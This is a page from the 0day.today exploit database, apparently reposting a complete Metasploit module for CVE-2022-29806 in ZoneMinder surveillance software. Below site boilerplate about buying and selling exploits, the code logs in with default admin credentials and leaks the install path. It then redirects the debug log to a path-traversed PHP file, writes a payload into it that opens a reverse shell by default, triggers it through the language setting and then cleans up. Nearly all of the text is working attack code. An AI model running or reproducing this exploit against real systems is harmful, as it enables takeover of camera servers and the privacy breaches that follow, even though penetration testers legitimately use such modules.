0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ZoneMinder Language Settings Remote Code Execution Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ZoneMinder Language Settings Remote Code Execution', 'Description' => %q{ This module exploits arbitrary file write in debug log file option chained with a path traversal in language settings that leads to a remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11 }, 'License' => MSF_LICENSE, 'Author' => [ 'krastanoel' ], # Discovery and exploit 'References' => [ [ 'CVE', '2022-29806' ], [ 'URL', 'https://krastanoel.com/cve/2022-29806'] ], 'Platform' => ['php'], 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2022-04-27', 'DefaultTarget' => 0, 'DefaultOptions' => { 'Payload' => 'php/reverse_perl', 'Encoder' => 'php/base64' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']), OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']), OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/']) ]) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET' ) return Exploit::CheckCode::Unknown('No response from the web service') if res.nil? return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 if res.body =~ /ZoneMinder/ csrf_magic = get_csrf_magic(res) res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/ return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>} res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true ) else return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server') end res.body.match(/v(1.\d+.\d+)/) version = Regexp.last_match(1) unless version return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version') end version = Rex::Version.new(version) return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10') Exploit::CheckCode::Safe("Version Detected: #{version}") rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown('Could not connect to the web service') end def exploit unless datastore['AutoCheck'] cookie_jar.clear res = authenticate fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>} end vprint_status('Leak installation directory path') random_path = rand_text_alphanumeric(6..15) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'view' => random_path } ) fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'view' => 'options' } ) csrf_magic = get_csrf_magic(res) current_lang = res&.get_html_document&.at( 'select[@name="newConfig[ZM_LANG_DEFAULT]"] option[@selected="selected"]' )&.text fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil? data = 'view=request&request=log&task=query&limit=10' data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank? res.body.match(/(\{"result":.*})/) request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access if request_log.key?(:rows) # Check for latest version key first v1.36.x request_log_key = 'rows' elsif request_log.key?(:logs) request_log_key = 'logs' else fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key') end request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first if request_log path = request_log['File'].split('/')[0..-2].join('/') vprint_good("Path: #{path}") else fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path') end fname = "#{rand_text_alphanumeric(6..15)}.php" traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join shell = "#{traverse_path}tmp/#{fname}" data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302 vprint_good("Shell: #{shell}") p = %(<?php #{payload.encoded} ?>) data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res result = JSON.parse(res.body)['result'] fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok' # trigger the shell lang = shell.gsub(/\.php/, '') data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302 # cleanup data = Rack::Utils.parse_nested_query(data) data['newConfig']['ZM_LANG_DEFAULT'] = current_lang res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_query, 'keep_cookies' => true ) vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200 data['tab'] = 'logging' data['newConfig']['ZM_LOG_DEBUG'] = 0 data['newConfig']['ZM_LOG_DEBUG_FILE'] = '' res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_query, 'keep_cookies' => true ) vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302 rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end private def get_csrf_magic(res) return if res.nil? res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text end def authenticate(csrf_magic = nil) username = datastore['USERNAME'] password = datastore['PASSWORD'] data = "action=login&view=login&username=#{username}&password=#{password}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true }) end end # 0day.today [2024-12-25] #